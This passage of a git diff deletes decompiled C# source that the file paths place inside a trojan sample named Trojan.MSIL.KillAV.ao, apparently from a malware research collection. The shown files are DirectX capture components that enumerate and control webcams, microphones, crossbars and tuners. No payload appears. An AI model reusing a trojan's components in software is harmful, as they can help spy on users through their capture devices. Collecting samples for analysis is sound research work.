ref pVar, IntPtr.Zero); - if (errorCode != 0) - Marshal.ThrowExceptionForHR(errorCode); - return pVar as string; - } - catch (Exception ex) - { - return ""; - } - finally - { - propertyBag1 = (IPropertyBag) null; - if (ppvObj != null) - Marshal.ReleaseComObject(ppvObj); - } - } - - protected string getName(string monikerString) - { - UCOMIMoniker ucomiMoniker = (UCOMIMoniker) null; - UCOMIMoniker ppmkOut = (UCOMIMoniker) null; - try - { - ucomiMoniker = this.getAnyMoniker(); - ucomiMoniker.ParseDisplayName((UCOMIBindCtx) null, (UCOMIMoniker) null, monikerString, out int _, out ppmkOut); - return this.getName(ucomiMoniker); - } - finally - { - if (ucomiMoniker != null) - Marshal.ReleaseComObject((object) ucomiMoniker); - if (ppmkOut != null) - Marshal.ReleaseComObject((object) ppmkOut); - } - } - - protected UCOMIMoniker getAnyMoniker() - { - Guid compressorCategory = FilterCategory.VideoCompressorCategory; - object o = (object) null; - ICreateDevEnum createDevEnum = (ICreateDevEnum) null; - UCOMIEnumMoniker ppEnumMoniker = (UCOMIEnumMoniker) null; - UCOMIMoniker[] rgelt = new UCOMIMoniker[1]; - try - { - o = Activator.CreateInstance(Type.GetTypeFromCLSID(Clsid.SystemDeviceEnum)); - ((ICreateDevEnum) o).CreateClassEnumerator(ref compressorCategory, out ppEnumMoniker, 0); - if (ppEnumMoniker.Next(1, rgelt, out int _) != 0) - rgelt[0] = (UCOMIMoniker) null; - return rgelt[0]; - } - finally - { - createDevEnum = (ICreateDevEnum) null; - if (ppEnumMoniker != null) - Marshal.ReleaseComObject((object) ppEnumMoniker); - if (o != null) - Marshal.ReleaseComObject(o); - } - } - - public int CompareTo(object obj) => obj == null ? 1 : this.Name.CompareTo(((Filter) obj).Name); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/FilterCollection.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/FilterCollection.cs deleted file mode 100644 index 5de9bf06..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/FilterCollection.cs +++ /dev/null @@ -1,52 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DirectX.Capture.FilterCollection -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using DShowNET; -using DShowNET.Device; -using System; -using System.Collections; -using System.Runtime.InteropServices; - -namespace DirectX.Capture -{ - public class FilterCollection : CollectionBase - { - internal FilterCollection(Guid category) => this.getFilters(category); - - protected void getFilters(Guid category) - { - object o = (object) null; - ICreateDevEnum createDevEnum = (ICreateDevEnum) null; - UCOMIEnumMoniker ppEnumMoniker = (UCOMIEnumMoniker) null; - UCOMIMoniker[] rgelt = new UCOMIMoniker[1]; - try - { - o = Activator.CreateInstance(Type.GetTypeFromCLSID(Clsid.SystemDeviceEnum)); - ((ICreateDevEnum) o).CreateClassEnumerator(ref category, out ppEnumMoniker, 0); - while (ppEnumMoniker.Next(1, rgelt, out int _) == 0 && rgelt[0] != null) - { - this.InnerList.Add((object) new Filter(rgelt[0])); - Marshal.ReleaseComObject((object) rgelt[0]); - rgelt[0] = (UCOMIMoniker) null; - } - this.InnerList.Sort(); - } - finally - { - createDevEnum = (ICreateDevEnum) null; - if (rgelt[0] != null) - Marshal.ReleaseComObject((object) rgelt[0]); - rgelt[0] = (UCOMIMoniker) null; - if (ppEnumMoniker != null) - Marshal.ReleaseComObject((object) ppEnumMoniker); - if (o != null) - Marshal.ReleaseComObject(o); - } - } - - public Filter this[int index] => (Filter) this.InnerList[index]; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/Filters.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/Filters.cs deleted file mode 100644 index e4d61e31..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/Filters.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DirectX.Capture.Filters -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using DShowNET; - -namespace DirectX.Capture -{ - public class Filters - { - public FilterCollection VideoInputDevices = new FilterCollection(FilterCategory.VideoInputDevice); - public FilterCollection AudioInputDevices = new FilterCollection(FilterCategory.AudioInputDevice); - public FilterCollection VideoCompressors = new FilterCollection(FilterCategory.VideoCompressorCategory); - public FilterCollection AudioCompressors = new FilterCollection(FilterCategory.AudioCompressorCategory); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/PropertyPage.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/PropertyPage.cs deleted file mode 100644 index 2e480dd0..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/PropertyPage.cs +++ /dev/null @@ -1,31 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DirectX.Capture.PropertyPage -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Windows.Forms; - -namespace DirectX.Capture -{ - public class PropertyPage : IDisposable - { - public string Name; - public bool SupportsPersisting = false; - - public virtual byte[] State - { - get => throw new NotSupportedException("This property page does not support persisting state."); - set => throw new NotSupportedException("This property page does not support persisting state."); - } - - public virtual void Show(Control owner) - { - } - - public void Dispose() - { - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/PropertyPageCollection.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/PropertyPageCollection.cs deleted file mode 100644 index 47507011..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/PropertyPageCollection.cs +++ /dev/null @@ -1,156 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DirectX.Capture.PropertyPageCollection -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using DShowNET; -using System; -using System.Collections; -using System.Runtime.InteropServices; - -namespace DirectX.Capture -{ - public class PropertyPageCollection : CollectionBase, IDisposable - { - internal PropertyPageCollection() => this.InnerList.Capacity = 1; - - internal PropertyPageCollection( - ICaptureGraphBuilder2 graphBuilder, - IBaseFilter videoDeviceFilter, - IBaseFilter audioDeviceFilter, - IBaseFilter videoCompressorFilter, - IBaseFilter audioCompressorFilter, - SourceCollection videoSources, - SourceCollection audioSources) - { - this.addFromGraph(graphBuilder, videoDeviceFilter, audioDeviceFilter, videoCompressorFilter, audioCompressorFilter, videoSources, audioSources); - } - - ~PropertyPageCollection() => this.Dispose(); - - public new void Clear() - { - for (int index = 0; index < this.InnerList.Count; ++index) - this[index].Dispose(); - this.InnerList.Clear(); - } - - public void Dispose() - { - this.Clear(); - this.InnerList.Capacity = 1; - } - - public PropertyPage this[int index] => (PropertyPage) this.InnerList[index]; - - protected void addFromGraph( - ICaptureGraphBuilder2 graphBuilder, - IBaseFilter videoDeviceFilter, - IBaseFilter audioDeviceFilter, - IBaseFilter videoCompressorFilter, - IBaseFilter audioCompressorFilter, - SourceCollection videoSources, - SourceCollection audioSources) - { - object ppint = (object) null; - this.addIfSupported((object) videoDeviceFilter, "Video Capture Device"); - Guid capture1 = PinCategory.Capture; - Guid interleaved = MediaType.Interleaved; - Guid guid = typeof (IAMStreamConfig).GUID; - if (graphBuilder.FindInterface(ref capture1, ref interleaved, videoDeviceFilter, ref guid, out ppint) != 0) - { - Guid video = MediaType.Video; - if (graphBuilder.FindInterface(ref capture1, ref video, videoDeviceFilter, ref guid, out ppint) != 0) - ppint = (object) null; - } - this.addIfSupported(ppint, "Video Capture Pin"); - Guid preview1 = PinCategory.Preview; - Guid pType = MediaType.Interleaved; - guid = typeof (IAMStreamConfig).GUID; - if (graphBuilder.FindInterface(ref preview1, ref pType, videoDeviceFilter, ref guid, out ppint) != 0) - { - pType = MediaType.Video; - if (graphBuilder.FindInterface(ref preview1, ref pType, videoDeviceFilter, ref guid, out ppint) != 0) - ppint = (object) null; - } - this.addIfSupported(ppint, "Video Preview Pin"); - ArrayList arrayList = new ArrayList(); - int num = 1; - for (int index = 0; index < videoSources.Count; ++index) - { - if (videoSources[index] is CrossbarSource videoSource && arrayList.IndexOf((object) videoSource.Crossbar) < 0) - { - arrayList.Add((object) videoSource.Crossbar); - if (this.addIfSupported((object) videoSource.Crossbar, "Video Crossbar " + (num == 1 ? "" : num.ToString()))) - ++num; - } - } - arrayList.Clear(); - this.addIfSupported((object) videoCompressorFilter, "Video Compressor"); - Guid capture2 = PinCategory.Capture; - pType = MediaType.Interleaved; - guid = typeof (IAMTVTuner).GUID; - if (graphBuilder.FindInterface(ref capture2, ref pType, videoDeviceFilter, ref guid, out ppint) != 0) - { - pType = MediaType.Video; - if (graphBuilder.FindInterface(ref capture2, ref pType, videoDeviceFilter, ref guid, out ppint) != 0) - ppint = (object) null; - } - this.addIfSupported(ppint, "TV Tuner"); - if (videoCompressorFilter is IAMVfwCompressDialogs compressDialogs) - this.InnerList.Add((object) new VfwCompressorPropertyPage("Video Compressor", compressDialogs)); - this.addIfSupported((object) audioDeviceFilter, "Audio Capture Device"); - Guid capture3 = PinCategory.Capture; - pType = MediaType.Audio; - guid = typeof (IAMStreamConfig).GUID; - if (graphBuilder.FindInterface(ref capture3, ref pType, audioDeviceFilter, ref guid, out ppint) != 0) - ppint = (object) null; - this.addIfSupported(ppint, "Audio Capture Pin"); - Guid preview2 = PinCategory.Preview; - pType = MediaType.Audio; - guid = typeof (IAMStreamConfig).GUID; - if (graphBuilder.FindInterface(ref preview2, ref pType, audioDeviceFilter, ref guid, out ppint) != 0) - ppint = (object) null; - this.addIfSupported(ppint, "Audio Preview Pin"); - num = 1; - for (int index = 0; index < audioSources.Count; ++index) - { - if (audioSources[index] is CrossbarSource audioSource && arrayList.IndexOf((object) audioSource.Crossbar) < 0) - { - arrayList.Add((object) audioSource.Crossbar); - if (this.addIfSupported((object) audioSource.Crossbar, "Audio Crossbar " + (num == 1 ? "" : num.ToString()))) - ++num; - } - } - arrayList.Clear(); - this.addIfSupported((object) audioCompressorFilter, "Audio Compressor"); - } - - protected bool addIfSupported(object o, string name) - { - specifyPropertyPages = (ISpecifyPropertyPages) null; - DsCAUUID pPages = new DsCAUUID(); - bool flag = false; - try - { - if (o is ISpecifyPropertyPages specifyPropertyPages) - { - if (specifyPropertyPages.GetPages(out pPages) != 0 || pPages.cElems <= 0) - specifyPropertyPages = (ISpecifyPropertyPages) null; - } - } - finally - { - if (pPages.pElems != IntPtr.Zero) - Marshal.FreeCoTaskMem(pPages.pElems); - } - if (specifyPropertyPages != null) - { - this.InnerList.Add((object) new DirectShowPropertyPage(name, specifyPropertyPages)); - flag = true; - } - return flag; - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/Source.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/Source.cs deleted file mode 100644 index 5b373d5a..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/Source.cs +++ /dev/null @@ -1,29 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DirectX.Capture.Source -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; - -namespace DirectX.Capture -{ - public class Source : IDisposable - { - protected string name; - - public string Name => this.name; - - public override string ToString() => this.Name; - - public virtual bool Enabled - { - get => throw new NotSupportedException("This method should be overriden in derrived classes."); - set => throw new NotSupportedException("This method should be overriden in derrived classes."); - } - - ~Source() => this.Dispose(); - - public virtual void Dispose() => this.name = (string) null; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/SourceCollection.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/SourceCollection.cs deleted file mode 100644 index 503a0624..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/SourceCollection.cs +++ /dev/null @@ -1,204 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DirectX.Capture.SourceCollection -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using DShowNET; -using System; -using System.Collections; -using System.Runtime.InteropServices; - -namespace DirectX.Capture -{ - public class SourceCollection : CollectionBase, IDisposable - { - internal SourceCollection() => this.InnerList.Capacity = 1; - - internal SourceCollection( - ICaptureGraphBuilder2 graphBuilder, - IBaseFilter deviceFilter, - bool isVideoDevice) - { - this.addFromGraph(graphBuilder, deviceFilter, isVideoDevice); - } - - ~SourceCollection() => this.Dispose(); - - public Source this[int index] => (Source) this.InnerList[index]; - - internal Source CurrentSource - { - get - { - foreach (Source inner in this.InnerList) - { - if (inner.Enabled) - return inner; - } - return (Source) null; - } - set - { - if (value == null) - { - foreach (Source inner in this.InnerList) - inner.Enabled = false; - } - else if (value is CrossbarSource) - { - value.Enabled = true; - } - else - { - foreach (Source inner in this.InnerList) - inner.Enabled = false; - value.Enabled = true; - } - } - } - - public new void Clear() - { - for (int index = 0; index < this.InnerList.Count; ++index) - this[index].Dispose(); - this.InnerList.Clear(); - } - - public void Dispose() - { - this.Clear(); - this.InnerList.Capacity = 1; - } - - protected void addFromGraph( - ICaptureGraphBuilder2 graphBuilder, - IBaseFilter deviceFilter, - bool isVideoDevice) - { - foreach (IAMCrossbar crossbar in this.findCrossbars(graphBuilder, deviceFilter)) - this.InnerList.AddRange((ICollection) this.findCrossbarSources(graphBuilder, crossbar, isVideoDevice)); - if (isVideoDevice || this.InnerList.Count != 0) - return; - this.InnerList.AddRange((ICollection) this.findAudioSources(graphBuilder, deviceFilter)); - } - - protected ArrayList findCrossbars( - ICaptureGraphBuilder2 graphBuilder, - IBaseFilter deviceFilter) - { - ArrayList crossbars = new ArrayList(); - Guid upstreamOnly = FindDirection.UpstreamOnly; - Guid pType = new Guid(); - Guid guid = typeof (IAMCrossbar).GUID; - object ppint1 = (object) null; - object ppint2 = (object) null; - int num = graphBuilder.FindInterface(ref upstreamOnly, ref pType, deviceFilter, ref guid, out ppint1); - while (num == 0 && ppint1 != null) - { - if (ppint1 is IAMCrossbar) - { - crossbars.Add((object) (ppint1 as IAMCrossbar)); - num = graphBuilder.FindInterface(ref upstreamOnly, ref pType, ppint1 as IBaseFilter, ref guid, out ppint2); - ppint1 = ppint2; - } - else - ppint1 = (object) null; - } - return crossbars; - } - - protected ArrayList findCrossbarSources( - ICaptureGraphBuilder2 graphBuilder, - IAMCrossbar crossbar, - bool isVideoDevice) - { - ArrayList crossbarSources = new ArrayList(); - int OutputPinCount; - int InputPinCount; - int pinCounts = crossbar.get_PinCounts(out OutputPinCount, out InputPinCount); - if (pinCounts < 0) - Marshal.ThrowExceptionForHR(pinCounts); - for (int index1 = 0; index1 < OutputPinCount; ++index1) - { - for (int index2 = 0; index2 < InputPinCount; ++index2) - { - if (crossbar.CanRoute(index1, index2) == 0) - { - PhysicalConnectorType PhysicalType; - int crossbarPinInfo = crossbar.get_CrossbarPinInfo(true, index2, out int _, out PhysicalType); - if (crossbarPinInfo < 0) - Marshal.ThrowExceptionForHR(crossbarPinInfo); - CrossbarSource crossbarSource = new CrossbarSource(crossbar, index1, index2, PhysicalType); - if (PhysicalType < PhysicalConnectorType.Audio_Tuner) - { - if (isVideoDevice) - crossbarSources.Add((object) crossbarSource); - else if (!isVideoDevice) - crossbarSources.Add((object) crossbarSource); - } - } - } - } - int index3 = 0; - while (index3 < crossbarSources.Count) - { - bool flag = false; - CrossbarSource crossbarSource1 = (CrossbarSource) crossbarSources[index3]; - for (int index4 = 0; index4 < crossbarSources.Count; ++index4) - { - CrossbarSource crossbarSource2 = (CrossbarSource) crossbarSources[index4]; - if (crossbarSource1.OutputPin == crossbarSource2.OutputPin && index3 != index4) - { - flag = true; - break; - } - } - if (flag) - ++index3; - else - crossbarSources.RemoveAt(index3); - } - return crossbarSources; - } - - protected ArrayList findAudioSources( - ICaptureGraphBuilder2 graphBuilder, - IBaseFilter deviceFilter) - { - ArrayList audioSources = new ArrayList(); - if (deviceFilter is IAMAudioInputMixer) - { - IEnumPins ppEnum; - int num1 = deviceFilter.EnumPins(out ppEnum); - ppEnum.Reset(); - if (num1 == 0 && ppEnum != null) - { - IPin[] ppPins = new IPin[1]; - int num2; - do - { - num2 = ppEnum.Next(1, ppPins, out int _); - if (num2 == 0 && ppPins[0] != null) - { - PinDirection pPinDir = PinDirection.Output; - num2 = ppPins[0].QueryDirection(out pPinDir); - if (num2 == 0 && pPinDir == PinDirection.Input) - { - AudioSource audioSource = new AudioSource(ppPins[0]); - audioSources.Add((object) audioSource); - } - ppPins[0] = (IPin) null; - } - } - while (num2 == 0); - Marshal.ReleaseComObject((object) ppEnum); - ppEnum = (IEnumPins) null; - } - } - if (audioSources.Count == 1) - audioSources.Clear(); - return audioSources; - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/Tuner.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/Tuner.cs deleted file mode 100644 index 549ef946..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/Tuner.cs +++ /dev/null @@ -1,60 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DirectX.Capture.Tuner -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using DShowNET; -using System; -using System.Runtime.InteropServices; - -namespace DirectX.Capture -{ - public class Tuner : IDisposable - { - protected IAMTVTuner tvTuner = (IAMTVTuner) null; - - public Tuner(IAMTVTuner tuner) => this.tvTuner = tuner; - - public int Channel - { - get - { - int plChannel; - this.tvTuner.get_Channel(out plChannel, out int _, out int _); - return plChannel; - } - set => this.tvTuner.put_Channel(value, AMTunerSubChannel.Default, AMTunerSubChannel.Default); - } - - public TunerInputType InputType - { - get - { - DShowNET.TunerInputType inputType; - this.tvTuner.get_InputType(0, out inputType); - return (TunerInputType) inputType; - } - set => this.tvTuner.put_InputType(0, (DShowNET.TunerInputType) value); - } - - public bool SignalPresent - { - get - { - AMTunerSignalStrength plSignalStrength; - int errorCode = this.tvTuner.SignalPresent(out plSignalStrength); - if (errorCode != 0) - Marshal.ThrowExceptionForHR(errorCode); - return plSignalStrength == AMTunerSignalStrength.SignalPresent; - } - } - - public void Dispose() - { - if (this.tvTuner != null) - Marshal.ReleaseComObject((object) this.tvTuner); - this.tvTuner = (IAMTVTuner) null; - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/TunerInputType.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/TunerInputType.cs deleted file mode 100644 index 33094dba..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/TunerInputType.cs +++ /dev/null @@ -1,14 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DirectX.Capture.TunerInputType -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -namespace DirectX.Capture -{ - public enum TunerInputType - { - Cable, - Antenna, - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/VfwCompressorPropertyPage.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/VfwCompressorPropertyPage.cs deleted file mode 100644 index ae6d2ee6..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/VfwCompressorPropertyPage.cs +++ /dev/null @@ -1,49 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DirectX.Capture.VfwCompressorPropertyPage -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using DShowNET; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace DirectX.Capture -{ - public class VfwCompressorPropertyPage : PropertyPage - { - protected IAMVfwCompressDialogs vfwCompressDialogs = (IAMVfwCompressDialogs) null; - - public override byte[] State - { - get - { - byte[] pState = (byte[]) null; - int pcbState = 0; - if (this.vfwCompressDialogs.GetState((byte[]) null, ref pcbState) == 0 && pcbState > 0) - { - pState = new byte[pcbState]; - if (this.vfwCompressDialogs.GetState(pState, ref pcbState) != 0) - pState = (byte[]) null; - } - return pState; - } - set - { - int errorCode = this.vfwCompressDialogs.SetState(value, value.Length); - if (errorCode == 0) - return; - Marshal.ThrowExceptionForHR(errorCode); - } - } - - public VfwCompressorPropertyPage(string name, IAMVfwCompressDialogs compressDialogs) - { - this.Name = name; - this.SupportsPersisting = true; - this.vfwCompressDialogs = compressDialogs; - } - - public override void Show(Control owner) => this.vfwCompressDialogs.ShowDialog(VfwCompressDialogs.Config, owner.Handle); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/VideoCapabilities.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/VideoCapabilities.cs deleted file mode 100644 index 8ee62891..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/VideoCapabilities.cs +++ /dev/null @@ -1,61 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DirectX.Capture.VideoCapabilities -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using DShowNET; -using System; -using System.Drawing; -using System.Runtime.InteropServices; - -namespace DirectX.Capture -{ - public class VideoCapabilities - { - public Size InputSize; - public Size MinFrameSize; - public Size MaxFrameSize; - public int FrameSizeGranularityX; - public int FrameSizeGranularityY; - public double MinFrameRate; - public double MaxFrameRate; - - internal VideoCapabilities(IAMStreamConfig videoStreamConfig) - { - AMMediaType mediaType = (AMMediaType) null; - IntPtr num = IntPtr.Zero; - try - { - int piCount; - int numberOfCapabilities = videoStreamConfig.GetNumberOfCapabilities(out piCount, out int _); - if (numberOfCapabilities != 0) - Marshal.ThrowExceptionForHR(numberOfCapabilities); - if (piCount <= 1) - ; - num = Marshal.AllocCoTaskMem(Marshal.SizeOf(typeof (VideoStreamConfigCaps))); - IntPtr pmt; - int streamCaps = videoStreamConfig.GetStreamCaps(0, out pmt, num); - if (streamCaps != 0) - Marshal.ThrowExceptionForHR(streamCaps); - mediaType = (AMMediaType) Marshal.PtrToStructure(pmt, typeof (AMMediaType)); - VideoStreamConfigCaps structure = (VideoStreamConfigCaps) Marshal.PtrToStructure(num, typeof (VideoStreamConfigCaps)); - this.InputSize = structure.InputSize; - this.MinFrameSize = structure.MinOutputSize; - this.MaxFrameSize = structure.MaxOutputSize; - this.FrameSizeGranularityX = structure.OutputGranularityX; - this.FrameSizeGranularityY = structure.OutputGranularityY; - this.MinFrameRate = 10000000.0 / (double) structure.MaxFrameInterval; - this.MaxFrameRate = 10000000.0 / (double) structure.MinFrameInterval; - } - finally - { - if (num != IntPtr.Zero) - Marshal.FreeCoTaskMem(num); - IntPtr zero = IntPtr.Zero; - if (mediaType != null) - DsUtils.FreeAMMediaType(mediaType); - } - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/Trojan.MSIL.KillAV.ao.csproj b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/Trojan.MSIL.KillAV.ao.csproj deleted file mode 100644 index 6db7abb4..00000000 --- 